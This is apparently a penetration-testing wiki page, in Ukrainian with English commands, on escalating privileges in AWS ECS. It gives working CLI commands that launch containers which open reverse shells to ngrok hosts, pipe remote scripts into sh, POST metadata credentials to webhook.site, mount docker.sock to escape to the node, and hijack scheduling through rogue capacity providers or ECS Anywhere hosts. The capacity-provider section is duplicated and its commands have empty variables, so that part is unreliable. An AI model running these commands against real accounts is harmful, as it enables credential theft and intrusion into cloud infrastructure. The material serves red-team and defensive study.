AWS - ECS Privesc

Reading time: 17 minutes

ECS

Більше інформації про ECS у:

AWS - ECS Enum

iam:PassRole, ecs:RegisterTaskDefinition, ecs:RunTask

Зловмисник, який зловживає дозволами iam:PassRole, ecs:RegisterTaskDefinition та ecs:RunTask в ECS, може згенерувати нове task definition з шкідливим контейнером, який викрадає облікові дані метаданих і запустити його.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

# Run task definition
aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

# Create file container-definition.json
[
{
"name": "exfil_creds",
"image": "python:latest",
"entryPoint": ["sh", "-c"],
"command": [
"CREDS=$(curl -s http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}); curl -X POST -H 'Content-Type: application/json' -d \"$CREDS\" https://webhook.site/abcdef12-3456-7890-abcd-ef1234567890"
]
}
]

# Run task definition, uploading the .json file
aws ecs register-task-definition \
--family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 \
--memory 512 \
--requires-compatibilities FARGATE \
--container-definitions file://container-definition.json

# Check the webhook for a response

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

Potential Impact: Пряме privesc на іншу роль ECS.

iam:PassRole,ecs:RunTask

Атакувальник, який має дозволи iam:PassRole і ecs:RunTask, може запустити нове завдання ECS із зміненими значеннями execution role, task role та command контейнера. Команда CLI ecs run-task містить прапорець --overrides, який дозволяє під час виконання змінювати executionRoleArn, taskRoleArn та command контейнера без змін у task definition.

Вказані IAM ролі для taskRoleArn і executionRoleArn у своїй trust policy повинні дозволяти, щоб ними міг скористатися сервіс ecs-tasks.amazonaws.com.

Також атакувальник має знати:

• ECS cluster name
• VPC Subnet
• Security group (If no security group is specified the default one will be used)
• Task Definition Name and revision
• Name of the Container

aws ecs run-task \
--cluster <cluster-name> \
--launch-type FARGATE \
--network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" \
--task-definition <task-definition:revision> \
--overrides '
{
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"containerOverrides": [
{
"name": <container-name>,
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
}
]
}'

У наведеному вище фрагменті коду нападник змінює лише значення taskRoleArn. Однак для здійснення атаки нападник повинен мати дозвіл iam:PassRole на taskRoleArn, вказаний у команді, та на executionRoleArn, зазначений у task definition.

Якщо IAM роль, яку нападник може передати, має достатні привілеї для завантаження image з ECR і запуску ECS task (ecr:BatchCheckLayerAvailability, ecr:GetDownloadUrlForLayer,ecr:BatchGetImage,ecr:GetAuthorizationToken), то нападник може вказати ту саму IAM роль і для executionRoleArn, і для taskRoleArn у команді ecs run-task.

aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
{
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"executionRoleArn":"arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"containerOverrides": [
{
"name": "<container-name>",
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
}
]
}'

Потенційний вплив: Прямий privesc до будь-якої ECS task role.

iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask

Як і в попередньому прикладі, атакуючий, який зловживає правами iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask в ECS, може згенерувати новий task definition зі malicious container, який викрадає metadata credentials та запустити його.\
Проте в цьому випадку потрібен container instance для запуску шкідливого task definition.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

aws ecs start-task --task-definition iam_exfiltration \
--container-instances <instance_id>

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

Потенційний вплив: Прямий privesc до будь-якої ролі ECS.

iam:PassRole, ecs:RegisterTaskDefinition, (ecs:UpdateService|ecs:CreateService)

Так само, як у попередньому прикладі, атакуючий, який зловживає дозволами iam:PassRole, ecs:RegisterTaskDefinition, ecs:UpdateService або ecs:CreateService в ECS, може згенерувати нове визначення таска з зловмисним контейнером, який краде облікові дані метаданих, і запустити його, створивши новий сервіс з принаймні 1 запущеним таском.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn  "$ECS_ROLE_ARN" \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"

# Run the task creating a service
aws ecs create-service --service-name exfiltration \
--task-definition iam_exfiltration \
--desired-count 1 \
--cluster "$CLUSTER_ARN" \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"

# Run the task updating a service
aws ecs update-service --cluster <CLUSTER NAME> \
--service <SERVICE NAME> \
--task-definition <NEW TASK DEFINITION NAME>

Potential Impact: Прямий privesc до будь-якої ролі ECS.

iam:PassRole, (ecs:UpdateService|ecs:CreateService)

Насправді, лише з цими дозволами можна використовувати overrides, щоб виконати довільні команди в контейнері з довільною роллю за допомогою чогось на кшталт:

aws ecs run-task \
--task-definition "<task-name>" \
--overrides '{"taskRoleArn":"<role-arn>", "containerOverrides":[{"name":"<container-name-in-task>","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \
--cluster <cluster-name> \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"

Potential Impact: Прямий privesc до будь-якої ролі ECS.

ecs:RegisterTaskDefinition, (ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)

Цей сценарій схожий на попередні, але без дозволу iam:PassRole.
Це все ще цікаво, бо якщо ви можете запустити довільний контейнер, навіть якщо він без ролі, ви могли б run a privileged container to escape до вузла і steal the EC2 IAM role та the other ECS containers roles, що виконуються на вузлі.
Ви навіть можете force other tasks to run inside the EC2 instance який ви скомпрометували, щоб вкрасти їхні облікові дані (як обговорюється в Privesc to node section).

printf '[
{
"name":"exfil_creds",
"image":"python:latest",
"entryPoint":["sh", "-c"],
"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],
"mountPoints": [
{
"readOnly": false,
"containerPath": "/var/run/docker.sock",
"sourceVolume": "docker-socket"
}
]
}
]' > /tmp/task.json

printf '[
{
"name": "docker-socket",
"host": {
"sourcePath": "/var/run/docker.sock"
}
}
]' > /tmp/volumes.json


aws ecs register-task-definition --family iam_exfiltration \
--cpu 256 --memory 512 \
--requires-compatibilities '["EC2"]' \
--container-definitions file:///tmp/task.json \
--volumes file:///tmp/volumes.json


aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \
--launch-type EC2

# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell

ecs:ExecuteCommand, ecs:DescribeTasks,(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)

Атакувальник з правами ecs:ExecuteCommand, ecs:DescribeTasks може виконувати команди всередині запущеного контейнера та exfiltrate IAM role, що до нього прикріплена (вам потрібні права describe, оскільки це необхідно для виконання aws ecs execute-command).
Однак для цього container instance має працювати ExecuteCommand agent (що за замовчуванням — ні).

Тому атакувальник може спробувати:

• Спробувати виконати команду в кожному запущеному контейнері

# List enableExecuteCommand on each task
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
echo "Cluster $cluster"
for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do
echo "  Task $task"
# If true, it's your lucky day
aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand
done
done

# Execute a shell in a container
aws ecs execute-command --interactive \
--command "sh" \
--cluster "$CLUSTER_ARN" \
--task "$TASK_ARN"

• Якщо має ecs:RunTask, запустіть задачу за допомогою aws ecs run-task --enable-execute-command [...]
• Якщо має ecs:StartTask, запустіть задачу за допомогою aws ecs start-task --enable-execute-command [...]
• Якщо має ecs:CreateService, створіть service за допомогою aws ecs create-service --enable-execute-command [...]
• Якщо має ecs:UpdateService, оновіть service за допомогою aws ecs update-service --enable-execute-command [...]

Ви можете знайти приклади цих опцій в попередніх розділах ECS privesc.

Potential Impact: Privesc до іншої ролі, приєднаної до контейнерів.

ssm:StartSession

Перегляньте ssm privesc page, щоб дізнатися, як можна зловживати цим дозволом для privesc to ECS:

AWS - SSM Privesc

iam:PassRole, ec2:RunInstances

Перегляньте ec2 privesc page, щоб дізнатися, як зловживати цими дозволами для privesc to ECS:

AWS - EC2 Privesc

ecs:RegisterContainerInstance, ecs:DeregisterContainerInstance, ecs:StartTask, iam:PassRole

Зловмисник з такими дозволами потенційно може зареєструвати EC2 інстанс у ECS кластері та запускати на ньому tasks. Це може дозволити зловмиснику виконувати довільний код у контексті ECS tasks.

• TODO: Чи можливо зареєструвати інстанс з іншого AWS акаунту, щоб tasks запускалися на машинах, контрольованих зловмисником??

ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet, ecs:DescribeTaskSets

Зловмисник з дозволами ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet та ecs:DescribeTaskSets може створити зловмисний task set для існуючого ECS service та оновити primary task set. Це дозволяє зловмиснику виконувати довільний код у межах сервісу.

# Register a task definition with a reverse shell
echo '{
"family": "malicious-task",
"containerDefinitions": [
{
"name": "malicious-container",
"image": "alpine",
"command": [
"sh",
"-c",
"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"
]
}
]
}' > malicious-task-definition.json

aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json

# Create a malicious task set for the existing service
aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"

# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id

Можливий вплив: Виконання довільного коду в ураженому сервісі, що може вплинути на його роботу або спричинити витік конфіденційних даних.

Посилання

• https://ruse.tech/blogs/ecs-attack-methods

Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)

Зловмисник із дозволами на керування ECS capacity providers та оновлення сервісів може створити EC2 Auto Scaling Group під своїм контролем, обгорнути її в ECS Capacity Provider, асоціювати з цільовим кластером і перемістити сервіс жертви на використання цього provider. Tasks будуть розміщені на EC2 інстансах, контрольованих зловмисником, що дає доступ на рівні ОС для інспекції контейнерів і викрадення task role credentials.

Команди (us-east-1):

• Передумови

• Створити Launch Template для ECS agent, щоб приєднатися до цільового кластеру

• Створити Auto Scaling Group

• Створити Capacity Provider з ASG

• Асоціювати Capacity Provider з кластером (опційно як за замовчуванням)

• Перемістити сервіс на ваш Capacity Provider

• Перевірити, що tasks запускаються на інстансах зловмисника

• Опційно: з EC2 ноди виконати docker exec в цільові контейнери та прочитати http://169.254.170.2 щоб отримати task role credentials.

• Очищення

Можливий вплив: EC2 ноди, контрольовані зловмисником, отримують задачі жертви, що дає доступ на рівні ОС до контейнерів і дозволяє викрадення IAM облікових даних ролі задачі.

export AWS_DEFAULT_REGION=us-east-1
CLUSTER=arn:aws:ecs:us-east-1:947247140022:cluster/ht-victim-cluster
# Instance profile for ECS nodes
aws iam create-role --role-name ht-ecs-instance-role --assume-role-policy-document Version:2012-10-17 || true
aws iam attach-role-policy --role-name ht-ecs-instance-role --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role || true
aws iam create-instance-profile --instance-profile-name ht-ecs-instance-profile || true
aws iam add-role-to-instance-profile --instance-profile-name ht-ecs-instance-profile --role-name ht-ecs-instance-role || true
VPC=vpc-18e6ac62
SUBNETS=
AMI=ami-0b570770164588ab4
USERDATA=IyEvYmluL2Jhc2gKZWNobyBFQ1NfQ0xVU1RFUj0gPj4gL2V0Yy9lY3MvZWNzLmNvbmZpZwo=
LT_ID=
ASG_ARN=
CP_NAME=htcp-8797
aws ecs create-capacity-provider --name  --auto-scaling-group-provider "autoScalingGroupArn=,managedScaling={status=ENABLED,targetCapacity=100},managedTerminationProtection=DISABLED"
aws ecs put-cluster-capacity-providers --cluster "" --capacity-providers  --default-capacity-provider-strategy capacityProvider=,weight=1
SVC=
Task definition must be EC2-compatible (not Fargate-only)
aws ecs update-service --cluster "" --service "" --capacity-provider-strategy capacityProvider=,weight=1 --force-new-deployment
TASK=
CI=
aws ecs describe-container-instances --cluster "" --container-instances "" --query containerInstances[0].ec2InstanceId --output text

Backdoor compute in-cluster via ECS Anywhere EXTERNAL registration

Зловживати ECS Anywhere, щоб зареєструвати хост, контрольований зловмисником, як EXTERNAL container instance у кластері ECS жертви і запускати tasks на цьому хості з привілейованими task та execution ролями. Це надає контроль на рівні ОС над тим, де виконуються tasks (ваша власна машина) і дозволяє викрадення облікових даних/даних з tasks та підключених томів без маніпуляцій з capacity providers або ASG.

• Потрібні дозволи (приклад мінімальні):

• ecs:CreateCluster (optional), ecs:RegisterTaskDefinition, ecs:StartTask or ecs:RunTask

• ssm:CreateActivation, ssm:DeregisterManagedInstance, ssm:DeleteActivation

• iam:CreateRole, iam:AttachRolePolicy, iam:DeleteRole, iam:PassRole (for the ECS Anywhere instance role and task/execution roles)

• logs:CreateLogGroup/Stream, logs:PutLogEvents (if using awslogs)

• Наслідки: запуск довільних контейнерів з обраним taskRoleArn на хості зловмисника; викрадення task-role credentials з 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI; доступ до будь-яких томів, змонтованих tasks; більш приховано, ніж маніпуляції з capacity providers/ASGs.

Кроки

1. Створити/ідентифікувати кластер (us-east-1)

aws ecs create-cluster --cluster-name ht-ecs-anywhere

2. Створити роль ECS Anywhere та активацію SSM (для on-prem/EXTERNAL instance)

aws iam create-role --role-name ecsAnywhereRole \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ssm.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam::aws:policy/AmazonSSMManagedInstanceCore
aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role
ACTJSON=$(aws ssm create-activation --iam-role ecsAnywhereRole)
ACT_ID=$(echo $ACTJSON | jq -r .ActivationId); ACT_CODE=$(echo $ACTJSON | jq -r .ActivationCode)

3. Розгорніть атакуючий хост і автоматично зареєструйте його як EXTERNAL (наприклад: невеликий AL2 EC2 як “on‑prem”)

#!/bin/bash
set -euxo pipefail
amazon-linux-extras enable docker || true
yum install -y docker curl jq
systemctl enable --now docker
curl -fsSL -o /root/ecs-anywhere-install.sh "https://amazon-ecs-agent.s3.amazonaws.com/ecs-anywhere-install-latest.sh"
chmod +x /root/ecs-anywhere-install.sh
/root/ecs-anywhere-install.sh --cluster ht-ecs-anywhere --activation-id ${ACT_ID} --activation-code ${ACT_CODE} --region us-east-1

AMI=$(aws ssm get-parameters --names /aws/service/ami-amazon-linux-latest/amzn2-ami-hvm-x86_64-gp2 --query 'Parameters[0].Value' --output text)
IID=$(aws ec2 run-instances --image-id $AMI --instance-type t3.micro \
--user-data file://user-data.sh --query 'Instances[0].InstanceId' --output text)
aws ec2 wait instance-status-ok --instance-ids $IID

4. Перевірте, що EXTERNAL container instance приєднався

aws ecs list-container-instances --cluster ht-ecs-anywhere
aws ecs describe-container-instances --cluster ht-ecs-anywhere \
--container-instances <ci-arn> --query 'containerInstances[0].[ec2InstanceId,attributes]'
# ec2InstanceId will be mi-XXXXXXXX (SSM managed instance id) and attributes include ecs.capability.external

5. Створити task/execution roles, зареєструвати EXTERNAL task definition та запустити на attacker host

# roles
aws iam create-role --role-name ht-ecs-task-exec \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs-tasks.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ht-ecs-task-exec --policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSTaskExecutionRolePolicy
aws iam create-role --role-name ht-ecs-task-role \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs-tasks.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
# attach any privileges you want to abuse to this task role

# task def (EXTERNAL launch)
cat > td-external.json << 'JSON'
{
"family": "ht-external",
"requiresCompatibilities": [ "EXTERNAL" ],
"networkMode": "bridge",
"memory": "256",
"cpu": "128",
"executionRoleArn": "arn:aws:iam::<account-id>:role/ht-ecs-task-exec",
"taskRoleArn": "arn:aws:iam::<account-id>:role/ht-ecs-task-role",
"containerDefinitions": [
{"name":"steal","image":"public.ecr.aws/amazonlinux/amazonlinux:latest",
"entryPoint":["/bin/sh","-c"],
"command":["REL=\$(printenv AWS_CONTAINER_CREDENTIALS_RELATIVE_URI); echo CREDS:; curl -s http://169.254.170.2\$REL; sleep 600"],
"memory": 128,
"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/anywhere","awslogs-stream-prefix":"steal"}}
}
]
}
JSON
aws logs create-log-group --log-group-name /ht/ecs/anywhere || true
aws ecs register-task-definition --cli-input-json file://td-external.json
CI=$(aws ecs list-container-instances --cluster ht-ecs-anywhere --query 'containerInstanceArns[0]' --output text)
aws ecs start-task --cluster ht-ecs-anywhere --task-definition ht-external \
--container-instances $CI

6. Звідси ви контролюєте хост, який запускає tasks. Ви можете читати task logs (if awslogs) або безпосередньо exec на хості, щоб exfiltrate credentials/data з ваших tasks.

Приклад команди (з плейсхолдерами)

Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)

Зловмисник із дозволами на керування ECS capacity providers та оновлення services може створити EC2 Auto Scaling Group під своїм контролем, загорнути його в ECS Capacity Provider, пов’язати з цільовим cluster і перемістити сервіс жертви, щоб він використовував цей provider. Tasks тоді будуть заплановані на EC2 instances під контролем зловмисника, що дає доступ на рівні ОС для інспекції контейнерів і крадіжки task role credentials.

Commands (us-east-1):

• Попередні вимоги

• Створити Launch Template для ECS agent, щоб приєднатися до target cluster

• Створити Auto Scaling Group

• Створити Capacity Provider з ASG

• Пов’язати Capacity Provider з cluster (опційно як default)

• Перемістити service на ваш provider

• Перевірити, що tasks потрапляють на інстанси зловмисника

• Необов’язково: з EC2 node виконати docker exec в target containers і прочитати http://169.254.170.2, щоб отримати task role credentials.

• Очищення

Potential Impact: EC2 nodes під контролем зловмисника отримують tasks жертви, що дає змогу доступу на рівні ОС до контейнерів і крадіжки task IAM role credentials.